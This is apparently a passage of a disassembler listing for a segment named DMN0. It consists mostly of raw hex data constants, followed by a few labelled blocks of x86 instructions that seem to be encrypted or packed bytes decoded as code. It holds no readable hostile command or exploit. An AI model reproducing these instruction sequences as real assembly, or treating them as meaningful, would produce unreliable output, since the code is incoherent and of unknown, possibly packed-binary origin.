		dd 0A73A4997h, 0D90DED72h, 0DF1D3F5Bh, 0D1DCC871h, 0C1153A51h
		dd 0C0E4F5D5h, 9F0E5310h, 7B9A6CA9h, 2BDAADA2h,	0B195F94Bh
		dd 381646BAh, 42535680h, 809DC089h, 0B1411ED6h,	0AB129DF6h
		dd 6383F92Ch, 40735BA6h, 0C6C9352Ah, 4900B690h,	0DA19DEF6h
		dd 28BBA2DFh, 387118DDh, 86428902h, 69B3D6E7h, 0D639A81Ch
		dd 18933DE4h, 3576D91Fh, 276265D2h, 0E759C938h,	533F3DCCh
		dd 2CFD417Ch, 9B86363h,	0B78FD30Dh, 5EE93D15h, 0AC7E96ECh
		dd 7C300A98h, 5A44371Dh
		dd 1D595CEEh, 1712CC7Bh, 0B06D0EADh, 0A99AF1EFh, 5B823DD1h
		dd 0F7E43B07h, 81AE9580h, 24C0CC36h, 0AEC62ECCh, 2A19D4D9h
		dd 8CBCEC68h, 0A66B3678h, 0A0451296h, 3D7B4926h, 0B71115AFh
		dd 1221B331h, 6A2B4376h, 5E3A6450h, 0F648EDF1h,	0EC1DE36Ch
		dd 2D763220h, 0F3783BC8h, 0CA26FB9Fh, 9C0D6E78h, 73A2961Ah
		dd 0F6F92910h, 0C68E5324h, 5CDD55DFh, 9C2DB8FFh, 54860D2Ch
		dd 0A105DA24h, 0F7BD1699h, 57C637B4h, 0C617A0F4h, 2DF90E15h
		dd 0ED95F2CBh, 2392C9BBh, 96030E3Fh, 0C5DE059h,	0F5027D0Eh
		dd 9D44E35Dh, 0E2A92F83h, 65207DEBh, 0FB84F7D5h, 4F08834Dh
		dd 0D25FD360h, 0D7905929h, 1E5C4BE9h, 68AFC263h, 0AEB6FB95h
		dd 0B67690EDh, 821AE4EFh, 10C36792h, 4E8762F8h,	5874A84Ah
		dd 0EA2E669Fh, 25DF41DFh, 2A29AE15h, 2C308A0Eh,	5B4909C9h
		dd 0D2F626FCh, 22DDF8F4h, 0E7B5FBB1h, 30326FCFh, 0FD400F92h
		dd 33DDB8A3h, 62358946h, 0FFE7BBA7h, 0FF28E206h, 0CDE703C3h
		dd 6C6AF026h, 8B259699h, 3802442h, 0C37D2D07h, 5512DEB5h
		dd 3FE47F12h, 41E77B0Dh, 5DBD6805h, 33ECD14Eh, 0DB078035h
		dd 5E90603Bh, 37ACFA65h, 0F4B608E1h, 8AF8397Bh,	0BB529489h
		dd 0A0C6058Bh, 75E15673h, 48ECCC4Dh, 108692A0h,	258F1524h
		dd 0E0DDB2A5h, 0B7892FA0h, 644D3DD3h, 0B5631CBFh, 1BEA751h
		dd 0DD070C06h, 89DA1941h, 0B0E47B16h, 0E5E2A028h, 0CB96B6CFh
		dd 482692EEh, 0DCC480B7h, 98179F99h, 9D3A01BEh,	91136E35h
		dd 0AE02B1F2h, 8E1961A4h, 63E6C1A6h, 0EB58F257h, 75D5609h
		dd 9444F82Ah, 0A89FDBCDh, 9049F473h, 0D7F9A913h, 7941A619h
		dd 0B9ED2A4Dh, 9B0981C2h, 6991AB36h, 0EA15A7D5h, 0C2E1EB85h
		dd 0CC70BCEAh, 13C972B9h, 56DDD14Dh, 0C855C0D3h, 87C8439Ch
		dd 1FAD84BFh, 33BC6015h, 0A27D185Dh, 0CA748F5h,	0B661D9B3h
		dd 0AF5D86D9h, 7E2C6234h, 3690CCEFh, 4F643A02h,	0BEFE7BE5h
		dd 9EA3E5Fh, 1A711D30h,	14B9519Ch, 0BCD05CBEh, 1A34C0A7h
		dd 354F33E1h, 59F8BB84h, 534D381Ch, 663DD5F6h, 2207082h
		dd 0DAE61B6Eh, 765A18D9h, 4806638h, 34E666BBh, 0E500564Fh
		dd 0F29402AFh, 75D91040h, 32DFCF33h, 0E1572187h, 3A79A408h
		dd 0FC725A96h, 0DA126936h, 7F5BB465h, 4050AA40h, 6DE90263h
		dd 52077D9Eh, 0DA824AE7h, 1C08F5CBh, 45B24A9Bh,	0BE838A3Fh
		dd 0BB206C7Fh, 3A7E9AE8h, 578FC2ADh, 0EA600B06h, 0D070E1B6h
		dd 22FA3809h, 0D5ADA28Fh, 0B03672C3h, 1721D3A3h, 9FBC420Ch
		dd 0DE919A9Ch, 0FC293D3Bh, 0E47237C4h, 0F0D0F480h, 0C000912Bh
		dd 0E8FEA393h, 2FE6FDE8h, 5BBAA683h, 3AA2EE10h,	0E53039C3h
		dd 0E81516AAh, 37286F84h, 19FF6405h, 97B750FBh,	93BA5066h
		dd 0A27C3DF8h, 0A8EC5F06h, 14106FC1h, 8C0FB3AFh, 63CD3FF6h
		dd 0C3B74C83h, 3B632F8Eh, 8E9DB367h, 6ECB4014h,	0F94E287Ch
		dd 3E29FFC2h, 3CD34D07h, 0ED583A4Ch, 0A27AA269h, 1D6C1606h
		dd 0F989F19Ah, 0CCFDE58Ch, 151539A5h, 1542D428h, 0E3C34064h
		dd 59A5AD22h, 0FAAC3D34h, 8EB21EA5h, 0CE0C8941h, 444F3586h
		dd 4BA398FDh, 0E7203603h, 0A53DBA6h, 176641BEh,	6BD1243Eh
		dd 90935B35h, 57A5DA34h, 0DE5B3DD6h, 0A7575BAAh, 0C4CBD813h
		dd 0CCB7E62Ah, 0E94A4CDCh, 37A2FA43h, 0E22CE1F7h, 62A79D0h
		dd 0C7CF76B2h, 0DC78D9C6h, 83A5B42Bh, 0B4F3DE35h, 9F6CD339h
		dd 35677795h, 53158BFBh, 62A19D82h, 0BA10CB2Fh,	58CB748Dh
		dd 0FBF91B82h, 2E8829D9h, 0FFCD1C99h, 2233B009h, 21D26395h
		dd 0DD5A363Eh, 428209B3h, 1FF3AF3Ah, 0FC761031h, 61B225C7h
		dd 0B8E893BAh, 9BF02F62h, 0D7F8AEA2h, 0FE384244h, 8D774A41h
		dd 91892923h, 80E7E8C5h, 0B7F7B18Bh, 36451A34h,	86FD9ADCh
		dd 11234433h, 5908858h,	40B039CAh, 0FEB76688h, 52188985h
		dd 0E526AE34h, 8349838Ah, 8346FC26h, 4B5332A4h,	4E34E134h
		dd 99292911h, 2A32EC2Bh, 0C0DD9003h, 5A5857F5h,	0DFB3173Bh
		dd 688E6762h, 9A3DDDDEh, 0ADEBA24Bh, 52EA695Ah,	0BA3691D5h
		dd 2BC75441h, 57088DEFh, 0B2BC03D3h, 6AD49E18h,	43115FECh
		dd 0D4F0C294h, 5FFC1C69h, 62CB7F4Ch, 5C375892h,	0ABF908D7h
		dd 4B5ED9DEh, 2E181615h, 51880E48h, 5F8E6882h, 20736987h
		dd 7F8ACE54h, 0D4D8E4B0h, 10AB62E2h, 0FFB0DB7Ah, 4B2BD4FBh
		dd 38B1CCC0h, 384744EAh, 6C133A9Fh, 33473B5Bh, 67C81FD1h
		dd 90DA6655h, 5F332458h, 1156CB0Bh, 0FE9901A4h,	0EB239B0Ch
		dd 0CDE1C623h, 703FCFFh, 3FFA050Bh, 9E411F3Bh, 2F6C1580h
		dd 16A0F4Bh, 3D0FBD85h,	0D6B2F9CCh, 0F4D65B25h,	25CB94D3h
		dd 9AC60202h, 0E84AE4D3h, 22B9549Fh, 25892E70h,	59AABA8Bh
		dd 87B34518h, 6A1B5705h, 0D73F7B34h, 8820D66Ah,	4A6CD5C9h
		dd 0A9EA50EAh, 4D559505h, 0CEB0F51Fh, 18B72E2Fh, 0C8CA0DE8h
		dd 97DD13FCh, 87F994BEh, 0A5FB11EEh, 3A344F35h,	116C1393h
		dd 0A596D05Eh, 0DCD4AE45h, 917A9B94h, 55A5638Dh, 563CEB1Fh
		dd 5E69FB42h, 8E761384h, 0CB2EA2E3h, 30B21ECBh,	0FA2A714Dh
		dd 0C4449387h, 803F4C57h, 0FF245736h, 7E88CD49h, 92CEFEA5h
		dd 32C6779Eh, 1DA1F822h, 81B286BFh, 0D20E7AFEh,	0B1B94993h
		dd 69FDB22h, 3AD6899h, 681BCE9Bh, 2D7230EEh, 0B16702AAh
		dd 99296929h, 303045E6h, 2CF0F5D2h, 472D1478h, 0A6575FBh
		dd 0D3333B12h, 0E494F5Dh, 81BB8521h, 0DAC581DCh, 0F041B699h
		dd 0C3C45C94h, 3A5709Dh, 0D301AE0h, 0DC981EFCh,	22D3700Ah
		dd 0A56295Eh, 815A52BCh, 5617C1ADh, 9AC3D41h, 0D8187C2h
		dd 0AB10EA93h, 0E80AF1A9h, 9EE21DDDh, 7BBE5B94h, 28F975F0h
		dd 0F74E03F2h, 4A58C538h, 4D547780h, 5D7076C4h,	0A4F59BC1h
		dd 10C57638h, 0FBEE8816h, 73135FA3h, 0ACB634A8h, 37248B2Eh
		dd 0DD64B945h, 1A4E2C13h, 49851F43h, 25324637h,	940B8169h
		dd 0C577A72Fh, 0AEAC99D9h, 66EE7C3Fh, 44E41877h, 93F0E90Dh
		dd 5954A01Dh, 89DD53EFh, 0E2C40354h, 0FD596AE4h, 61D5B0E4h
		dd 0C1CF9F67h, 0A14F810Eh, 0DAE9A4BFh, 25B0CE24h, 957C48F7h
		dd 545E7DC0h, 38BB5E45h, 0D97EB399h, 5A269748h,	0EFF4B346h
		dd 920367BEh, 913A255Bh, 2B323C8Bh, 7FEC834Fh, 8073338Eh
		dd 747B667Fh, 7356FB51h, 0C35EF7BFh, 823521EDh,	7EFACA28h
		dd 9A626449h, 0FE99FE53h, 0A7259329h, 0C7A4B916h, 0D77B8AE3h
		dd 5115DC9Bh, 0C57B1614h, 30899063h, 64F2F341h,	77D295DFh
		dd 0E0A93768h, 0D0C157ABh, 4B48A164h, 0FF4E4358h, 80C17542h
		dd 0DF76B46Dh, 0B81BE77Bh, 5981F1FAh, 0B52C2BE5h, 8AF22C9Eh
		dd 8FBD8353h, 8F523BA0h, 6DF49D69h, 0EE528DD9h,	2299B077h
		dd 0C554C1DAh, 8EC67F2Eh, 0EB2CA186h, 4C3A6046h, 12AB83E1h
		dd 0A46EBB5Ch, 66DFDDBh, 54D28730h, 5FEEC2A9h, 0C93E9997h
		dd 0EB12FE9Bh, 3AFEA6CDh, 615EA6DEh, 4920EBB8h,	0A27B8752h
		dd 0B9944011h, 4484665Ch, 5B982BC5h, 6EF84E8Dh,	0D529ED41h
		dd 82676843h, 0AE0F9AFBh, 0ABA160CAh, 0E078BF88h, 5076633Bh
		dd 707257D4h, 184188DEh, 0C67DB4D6h, 33E2D25Ah,	0E640367Fh
		dd 456F827Eh, 0F1DE9805h, 0AC90F76h, 548ADC35h,	64D35AAEh
		dd 0BE30507Fh, 755E48Ch, 4D9194E6h, 0F9E92726h,	0AA78C7E8h
		dd 467E3A7Ah, 31CB568Eh, 120983EBh, 102CD232h, 0F811D2BBh
		dd 0E6FAFEEh, 0B72A36ACh, 0DCCB85B8h, 2E5102C6h, 7282FDD0h
		dd 8FCCBEBAh, 0C32227A2h
		dd 16F36AA1h, 0A1CFA49Dh, 0EBF314AFh, 0E5C57054h, 0BEC4F401h
		dd 0CE19C420h, 3B636961h, 1EF1C496h, 0DA3C65DDh, 33389ADAh
		dd 587DEA29h, 0D50A9D84h, 0EC58409Eh, 0B6722B42h, 0AB48E96h
		dd 0FD92333Eh, 24B71F8Ah, 0A12A0C9Ah, 7E8804B6h, 8C162D48h
		dd 434A77F6h, 987635E0h, 0CBA05057h, 0ADD77693h, 24BAF14h
		dd 699FEF2Ah, 9572BCFDh, 0D6C7A534h, 0FC3A3753h, 70342E85h
		dd 41CB27Eh, 9ED33511h,	1996D12Fh, 36F9DC31h, 49D00F61h
		dd 0FD86D664h, 75D50D28h, 29B7FB8Ch, 6C8A55ABh,	8346BE07h
		dd 0A15B2FF1h, 4BE0B1C0h, 31A3F27Fh, 8C5ABB12h,	7F51121Dh
		dd 0C2908694h, 68B1A721h, 0CA0EE32Eh, 1B05A012h, 7D758B5Fh
		dd 7DF94893h, 0FE4AA143h, 6C322C6Bh, 0CD58BE0Fh, 0C28A32AFh
		dd 0ABBDC281h, 0AC60DB94h, 505A26EEh, 0A059AA2h, 17C955DEh
		dd 7BA202C2h, 5F5CDE20h, 0A1CBA453h, 4E0F708Ch,	0EC840BBDh
		dd 0E1F76D31h, 4F4BF4D2h, 0B3BE1812h, 2AE72132h, 3859E025h
		dd 0A5CF119Ah, 9A1E4B67h, 0FFE99D2Ah, 0BFE80D23h, 0F93D0673h
		dd 8224B039h, 0D112C45Ch, 19F69402h, 0F0381C7Dh, 0C99B4894h
		dd 0CACC694Bh, 7CF9401Bh, 5271FFA5h, 0F53BA18Ch, 31FA0D47h
		dd 701F128Ah, 2D859BA7h, 0FB7B2843h, 97414C3Eh,	0FD53C8B4h
		dd 439231ABh, 9BC34769h, 5884375Dh, 7A19EDA7h, 0B07EF98Ch
		dd 0E48184C1h, 459486EAh, 49429609h, 9811F5B9h,	2D726BB2h
		dd 2EBB59Dh, 8772891Dh,	24EDBBE5h, 717580AAh, 8616ACB6h
		dd 53F07EF9h, 0CADD6ADFh, 72B2A143h, 70477659h,	92B755C8h
		dd 3971C293h, 74AEAE41h, 0E845AB14h, 0D06D9BCCh, 0A124AE7Eh
		dd 0F1805E60h, 4CA2BB76h, 1D23382Ch, 0A39E62B9h, 7A1F2D78h
		dd 0BC4937B6h, 2172B310h, 78E45E02h, 0C919C731h, 658E4BB3h
		dd 492D9F7Eh, 5DBC5B20h, 9FE011D5h, 5C67B9A3h, 488F2DBAh
		dd 7705DDEEh, 0D490F45Dh, 0FF97846Ah, 968399F8h, 0A091D59Ah
		dd 4C5FA133h, 0B1EC1CFFh, 28831D44h, 8DE0B842h,	0F350910Dh
		dd 0DEBE493Fh, 0D647D7BAh, 823EA716h, 0BF9981Bh, 0F3D05DD5h
		dd 39C0AD58h, 0A302749Eh, 0A21958A0h, 8D16F050h, 89EBE004h
		dd 6B6A3DF1h, 0B48D1EDCh, 58921414h, 0C3154CCEh, 78923876h
		dd 8B3F5490h, 74E7F286h, 0F69907F7h, 56B1745Ah,	864BE26Ah
		dd 3E4384B1h, 88259235h, 5F8C2D6h, 0AF2BB957h, 7360207Bh
		dd 0C5ACB17Ch, 0FAB78CF1h, 74462338h, 687FFAEFh, 0F80F3AE2h
		dd 0C622117Dh, 4502C8F8h, 50246B22h, 46E93C30h,	0B70F11F1h
		dd 0D8F8B178h, 0F6326EB0h, 3BE038F3h, 76704156h, 0A7A7644Fh
		dd 0CB2ED780h, 6CF2E7F2h, 1C112A82h, 24D56DB4h,	5079F7E7h
		dd 0E74FDD0Eh, 0D2D14467h, 9932CDA0h, 9FA9DB98h, 5A6A09DCh
		dd 88A8848Bh, 0B6788364h, 7AD8C6E7h, 0EB946428h, 0FB9FB5E4h
		dd 12C30C20h, 6804CA1Ah, 638EB07Bh, 2F0EA5EBh, 77077316h
		dd 329DAC41h, 0F28D3AB7h, 0A98C0CD2h, 8C7924Bh,	0DE7CC7DBh
		dd 2961FE55h, 0A5C5A6D5h, 8CA16294h, 2D2F07B9h,	9BC431Ch
		dd 0EE427E26h, 2A7C7169h, 0FD9122CCh, 4302B8CFh, 0DC4A3487h
		dd 54D0696Fh, 5F701047h, 0E13D1B07h, 5BD447D1h,	6106762h
		dd 12D15C29h, 58378C57h, 8F30CC74h, 8A24757Ah, 0C456DF2Fh
		dd 0A9610703h, 24C5A38Fh, 4EE18C0Bh, 55A8E5A9h,	0F285603Fh
		dd 0C58DFFB4h, 0A718C80Bh, 75B98670h, 7A4404A5h, 9AB9373Fh
		dd 116EB98Fh, 0D6469C81h, 8962DF60h, 0C701CBEEh, 9A3F66D2h
		dd 0A8DD1508h, 24C02D68h, 7CE5CD67h, 919CEFC1h,	3CD869ACh
		dd 52227AA0h, 0B1FE0488h, 0A98C7C76h, 8CE4D1Dh,	758BD5EAh
		dd 0D7C15F15h, 472142A2h, 356619BDh, 4DFB04Eh, 0E3B147ECh
		dd 3640BA09h, 9EAE3DA7h, 2F2980Ah, 0F9620F93h, 771541AFh
		dd 710A4CE9h, 6CB0C94Eh, 0FC8991F8h, 0AFD689E2h, 0BDB84B21h
		dd 0EACCD937h, 0FFC93B48h, 0C3C2072Dh, 0CF65D338h, 0F9E9908Eh
		dd 0D1F485E0h, 8E7E60CDh, 0F4CDAFB2h, 6423FB59h, 0F28AA1A1h
		dd 58FB275h, 705A027h, 1B4F7717h, 993B93DBh, 0A3747D8h
		dd 6DF4B5FBh, 12FA66F8h, 35272D06h, 14B030Ah, 0D525DE85h
		dd 6B9D4F9Ah, 4D0FCE8Fh, 0E118DCEAh, 981E21D4h,	0BB4BFAF3h
		dd 3C034E2Eh, 0E5FBECAEh, 0A8DD745Dh, 0EC11FAEEh, 4E0CC577h
		dd 57B5D233h, 58F9C6B0h, 0EA4DC1DEh, 63A4E29Dh,	3276C435h
		dd 0B7AA7247h, 2CE8225Dh, 191BF2DAh, 0C9705EC6h, 0ECF5CC50h
		dd 0BF406A9Ah, 8EC080A9h, 0CD9FA66Fh, 5B7CF71Ah, 5AD715CDh
		dd 56333EE3h, 8CA19D21h, 125BD30Ch, 2D664E85h, 9FB2031Ah
		dd 80E5C5F3h, 527E11C0h, 0C29C65FAh, 2DA628C2h,	40DD99C4h
		dd 3C345070h, 1BF862BBh, 40540575h, 0D2812C63h,	52905415h
		dd 75360685h, 0DB15EF99h, 0A9573EE3h, 4999840Dh, 0A3C5C855h
		dd 225E339Ch, 0A0E78F06h, 0BEBDD8Ch, 0B8398E42h, 0BEBD7F9h
		dd 29E67C82h, 0A778706Bh, 3E0750FBh, 4BBCF71Fh,	0A57A98D9h
		dd 0F2ECCE53h, 3AC237C2h, 0FFD85B58h, 53B9F92h,	533E2853h
		dd 6689DDBCh, 0CD29149Fh, 0B46BAF1Eh, 0DD761101h, 5A20FCC4h
		dd 7C87905Fh, 89758D16h, 56EA87D5h, 0C045EC6Eh,	446DD3BFh
		dd 9E57FDD9h, 21CBE5A4h, 0A5D31089h, 67EB7C9Ah,	0D6C0581h
		dd 96FF4FBBh, 0B30A53E1h, 54644BF7h, 0B3E853D4h, 6CA03DF3h
		dd 3200F5C4h, 0A9A29B1Dh, 48124DE6h, 594421B4h,	0BE2957CEh
		dd 960F6462h, 61FCAB39h, 0E1C40078h, 4B9F2D1Fh,	0D726F1BAh
		dd 0A325EA33h, 0BE363BE3h, 0F99B79C6h, 3B1FBAE8h, 0C9D01226h
		dd 0AF868021h, 0EBD08C6Ch, 7A928293h, 45CFB608h, 0A16DCDD8h
		dd 835DD722h, 46BD7F0Fh, 0C3C808CCh, 91B8929Ch,	457964CCh
		dd 0DF990DE4h, 0BEBFF4EAh, 8050B5D9h, 37F90E01h, 2A022327h
		dd 59793D6Ch, 2E9B35C6h, 54640782h, 9464402Dh, 0D7AB154Fh
		dd 0E3B7D8E6h, 935C6D15h, 0FA478171h, 0FFA8E25Ch, 0CB27A742h
		dd 872992DDh, 0BC0B487Ah, 1D300F52h, 7C0E427Dh,	13C34CDh
		dd 393802A3h, 0BA9EB9D6h, 534A4629h, 0B8481032h, 0A54EC76Dh
		dd 0CD8EC961h, 0CAEDC34Bh, 1D0A6C1Fh, 0C985B8FAh, 5F92B815h
		dd 36196442h, 0DAFDE639h, 0E3D2FE2Ah, 5BA148D0h, 0A61953ADh
		dd 5D03CAA8h, 431D445Ah, 897EE06Bh, 24F4BDA1h, 96616605h
		dd 0D3527281h, 375C56F9h, 5AC02CB3h, 8EB1424Eh,	0BD30A63Ah
		dd 6154999Ch, 19D58FC0h, 3292B2D2h, 4C58CAAAh, 17F20180h
		dd 55BA0CB8h, 95FF8D25h, 1F453BA8h, 87000BD9h, 3227B68h
		dd 0A8ABFC6Ch, 0B87C90FDh, 0D873D229h, 50AB33D1h, 6448FECEh
		dd 0BE784692h, 0D5F725F0h, 0BF63A526h, 0ED06FDC7h, 0D134B1F3h
		dd 2DEAFF56h, 74FC893Bh, 1A287D01h, 0E23ED2Ch, 0D5333EB1h
		dd 5F30E83h, 1151B7B0h,	0DD97AC2Ch, 2D9E3611h, 39A3BB04h
		dd 34E4F665h, 0AC80BEF4h, 0C3715C4Eh, 0A7A26C5h, 8B54EC32h
		dd 8AEB304Fh, 2929FD87h, 0E880488Fh, 9CBC942Eh,	326579D2h
		dd 79464410h, 0FC67BEDFh, 58E8F600h, 0C89E2FBFh, 4F301C45h
		dd 79BE7ECBh, 0EE42950h, 3F706C9Fh, 68D97423h, 0E9C33E11h
		dd 1C135C8Dh, 9D56780h,	0E85D8C7h, 0C08E2864h, 0A6188878h
		dd 1E1DC500h, 0E139E7F9h, 19112BE1h, 683E0142h,	0FF3CD91Eh
		dd 48A837C2h, 0CCB6EC5Dh, 0A19EE262h, 5FE3185Fh, 0F78A6781h
		dd 0B2A56AAAh, 0BA725CB6h, 0FF672152h, 0A8F47832h, 2550CA1Bh
		dd 5B1B6C1Eh, 7F59DD82h, 9858B5DEh, 0CBE3B76Dh,	25F8A55h
		dd 0A0358EB5h, 0DBFB92BFh
		dd 935CBE1Ch, 102A47E8h, 0A521F7B6h, 0A772C6C6h, 9A9EF18Fh
		dd 74ED9307h, 6A12A5D8h, 0E0E4CA3Ah, 7467893Dh,	7AE70140h
		dd 34F0ED7Dh, 5018DC15h, 0BE7D6BB2h, 0C8C85F65h, 0A54BA725h
		dd 9F048118h, 9EF8659Fh, 0AA44FC9Dh, 77513613h,	43B8F2F5h
		dd 3263EFB7h, 29B6CAD6h, 0EC11F4A7h, 4769FED0h,	75E61B34h
		dd 9001F8F7h, 9267C159h, 0A6C6E56h, 76C3D289h, 902E9363h
		dd 72E2D7AAh, 6D2FB44Bh, 1C065EABh, 0FF6BD8ECh,	0C6B5A2DBh
		dd 44D39DA5h, 0E7989434h, 0D5CDFA0Bh, 14C4AC7Bh, 0DB1A66F5h
		dd 282B4BCDh, 0DDC2DCB0h, 0A406AE4Eh, 0EE730FA2h, 64C5CE85h
		dd 0E251CF2Fh, 0DA8107CDh, 0C7E3DE3Ah, 6D9A15A8h, 265647A3h
		dd 908F5B98h, 0A7066917h, 0B258BDBh, 2F2DD84Bh,	5DC6BCE8h
		dd 943C579Bh, 8E9EF7CCh, 8FB6E31Ch, 9B7CC5E8h, 0C07C6BF5h
		dd 9479985h, 1EDF9D00h,	4E744524h, 36D035C3h, 0D30C33F4h
		dd 84A2D430h, 103A0BF9h, 805004ACh, 8330AFFFh, 0EE862B95h
		dd 3F9C5D53h, 2EA84033h, 0F91437AEh, 0E68A8EDAh, 0FC2C1E99h
		dd 0AB7112CBh, 7129B5F3h, 3F30AEC7h, 95B2750Eh,	1E50BFE6h
		dd 0E95C9F4h, 0C9E5C2D6h, 600C90D0h, 96533C3Dh,	48EDDA3Fh
		dd 0B405A6D5h, 20D2AFF1h, 3433DF0Ah, 0BFF96986h, 42F31E83h
		dd 2A2CFAFh, 54823A1Bh,	0DE903802h, 0E4EDACF0h,	79A6BE3Dh
		dd 55A1DCC7h, 51A5D8ECh, 0FECB65DFh, 6F6280BEh,	0A474324Bh
		dd 4382E5BAh, 3BABD2EEh, 7F9F236Ah, 6196BFE2h, 0FF9DB87Eh
		dd 57389832h, 869EEA40h, 0D8806244h, 316AD041h,	0ED4EE1BBh
		dd 62C3F039h, 33CA7C6h,	27B62C67h, 527040D0h, 6C423292h
		dd 6651F594h, 63E23F04h, 0B3AC1E19h, 6C221BC8h,	64348E7Ch
		dd 0D9CCC5F4h, 985C78A9h, 2D767DA0h, 0DD7CDEA3h, 55376585h
		dd 9F6C4E7h, 197DBABCh,	723DBC57h, 0DA3FD4D8h, 84B62F7Ah
		dd 0F435FD76h, 45315A8Bh, 2DD1FE9h, 2514BB60h, 0D10FEA7Ch
		dd 984CCEE3h, 69EBD60Bh, 7285EE20h, 437DB717h, 37AB29DCh
		dd 50F9A2C5h, 0E489CF1Ch, 0CCB89B3Dh, 0DE7CFC23h, 0B6EEAFB7h
		dd 2EE83AF9h, 22397A3Bh, 44A23036h, 364B00FBh, 0DD67F848h
		dd 7F20D571h, 8796B797h, 1ABC5725h, 26D2B286h, 39F7187Ch
		dd 8A47EA01h, 2BAF5BC6h, 0C3FCE9B9h, 0A3DB19B6h, 0E397DF93h
		dd 0DB95BC99h, 49BAC356h, 53DD0C6Dh, 449FD4FCh,	9FA4B3CBh
		dd 0C3DDCC46h, 59942A3h, 427BAA83h, 0C26DBDCCh,	0F3B8FF29h
		dd 89E18493h, 0FD319FA2h, 98A9886Bh, 0DAAB9BA7h, 99445BAh
		dd 833F6924h, 0B38F4B0Eh, 18F77904h, 8B628C6Fh,	0C6C3F5FBh
		dd 0B1794E5Eh, 0D69166DAh, 3B2BBEA9h, 64BC7BB2h, 0D3C019E7h
		dd 7B806F35h, 9B619171h, 397A7DE8h, 84216E42h, 2A3F15D9h
		dd 0AA8FE2FFh, 797BDE0Dh, 780B56CBh, 8A165DD7h,	4B701F3Ch
		dd 39BB0E62h
		db 90h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_428F6B:				; CODE XREF: DMN0:00429F85j
		cli
		mov	ds:0B3F2E503h, eax
		mov	ecx, 59411B3Dh
		and	al, 1
		shr	ch, cl
		arpl	cs:[edx], cx
		movsd
		pop	esi
		sbb	eax, 14DACB6Dh
		dec	ecx
		xchg	eax, ebx
		scasd
		add	al, 4Dh
		pop	edi
		db	36h
		loope	loc_428FD0
		inc	edi
		adc	ch, [ebx-3Fh]
		pop	ds
		sahf
		arpl	[edi-61h], ax
		retf
; ---------------------------------------------------------------------------
		db 2Fh
		dd 5EFCB6F2h, 3C0177D2h, 0A24787C4h, 3D8E5054h,	364CF696h
		dd 7883961Dh, 0EC096E2h, 57D5A7DBh, 85C7C34Bh, 0BAB5DC4Bh
		dd 1C8AC897h, 290E480Eh, 776338FBh, 0EFD582EFh
; ---------------------------------------------------------------------------


loc_428FD0:				; CODE XREF: DMN0:00428F8Aj
		cmpsb
		setalc
		lds	edi, [ecx+7D003B16h]
		add	[ebp+eax*4-22D5FD8Bh], esp
		and	esi, 0FFFFFFD3h
		stosd
		or	[ebx+75h], esp
		scasd
		clc
		cmp	esp, [ecx+25h]
		jbe	short near ptr loc_429034+2
		loop	loc_429034
		cmp	cl, bl
		dec	edx
		popf
		inc	eax
		call	far ptr	30C7h:0BFEBD454h
		cmp	bh, dh
; ---------------------------------------------------------------------------
		db 8Fh,	0BFh, 0F7h
		dd 0B5BC65AAh, 0B3413314h, 27461183h, 0FB805AD8h, 36DBB75Fh
		dd 55B2A231h, 0D8191686h, 32770A83h, 88365CC8h,	101B2CF8h
		dd 52DAB419h, 8FBB2C8Dh, 0B15EAB0Dh
; ---------------------------------------------------------------------------


loc_429034:				; CODE XREF: DMN0:00428FEDj
					; DMN0:00428FEBj
		mov	esp, 0A89E5E98h
		inc	ebx
		db	65h
		sub	al, 0EEh
		ja	short loc_4290B1
		push	esp
		mov	ah, 8
		mov	edi, 0A7DA6079h
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------
		and	ch, bl
		retf
; ---------------------------------------------------------------------------
		db 72h
		dd 0DCEA1E38h, 2E2CE325h, 15D7AE3Dh, 39877E1Ch,	0A33CE729h
		dd 0B3298308h, 51CF21Fh, 0FB407572h
		db 3Dh
; ---------------------------------------------------------------------------


loc_42906D:				; CODE XREF: DMN0:loc_4290B1j
		or	byte ptr [edx+ecx], 74h
		xor	al, 0D0h
		jmp	short near ptr loc_4290E6+4
; ---------------------------------------------------------------------------
		db 0A9h, 81h, 0DAh
		dd 0ECBCD88Ch, 0E1899715h, 0C75DC5ABh, 6D8A7931h, 530DADE9h
		dd 6AA393BEh, 69E25B94h, 534E372Bh, 78E0FE96h, 89E0680Eh
		dd 0BB96F46Bh, 0DC5A85BEh, 0E016B037h, 0A352C92h
		db 32h
; ---------------------------------------------------------------------------


loc_4290B1:				; CODE XREF: DMN0:0042903Dj
		jle	short loc_42906D
		inc	edi
		lea	esi, [ebp+5212137Ah]
		test	al, 8
		mov	byte ptr [edi],	60h
		push	edi
		call	near ptr 1B40DC6h ; CODE XREF: DMN0:0042911Ej
		and	[eax], ch
		add	esi, [ecx-43h]
		add	ebx, [ebx+3BB50361h]
		mov	bl, 74h
		jbe	short near ptr loc_4290FB+1
		rcr	byte ptr [edi-1E5806E4h], 1
		cmpsd
		or	[eax+ebx*4-5Dh], dl
		sub	[ebx], ecx
		add	[ebx], bh
		mov	al, 0AAh
		daa


loc_4290E6:				; CODE XREF: DMN0:00429073j
		or	eax, 65A34D8h
		and	[eax+esi*4+4A818CAh], dh
		and	[ecx+15h], bh
		or	[edx-0BF773F8h], esp


loc_4290FB:				; CODE XREF: DMN0:004290D2j
		xchg	ecx, ebx
		add	eax, 42FD699Bh
		pop	ebp
		inc	eax
		dec	ebp
		xchg	eax, ebp
		fsubr	qword ptr [edi-7E466EDCh]
		mov	bh, 1Fh
		aam	2Bh
		bound	esp, [eax]
		jno	short loc_42916E
		bound	eax, [ebx]
		ficom	dword ptr ds:760F2AC3h
		mov	cl, 26h
		jz	short near ptr loc_4290C0+3
		push	ds
		in	al, 0A9h	; Interrupt Controller #2, 8259A
		out	dx, al
		pop	ecx
		or	eax, 0A60E60D2h
		retf
; ---------------------------------------------------------------------------
		db 51h
		dd 58CE1852h, 8B9F42A9h, 5B775246h, 0A047F341h,	0D4D4A071h
		dd 19F8C82Fh, 571EEEA6h, 0DEC5AB3Ch, 512EF15Dh,	0A3B92167h
		dd 0EC34C139h, 2C6354FEh, 1394E241h
; ---------------------------------------------------------------------------


loc_429160:				; CODE XREF: DMN0:0042919Bj
		daa
		outsd
		xchg	eax, edx
		pushf
		jge	short loc_4291CC
		dec	ebx
		pminsw	mm5, qword ptr [eax-4A2D00B9h]


loc_42916E:				; CODE XREF: DMN0:00429112j
		push	edx
		mov	eax, 1F96C039h
		inc	ecx
		dec	ecx
		or	eax, 0F34B63AAh
		jno	short loc_4291AB
		mov	edi, 95C5689Ah
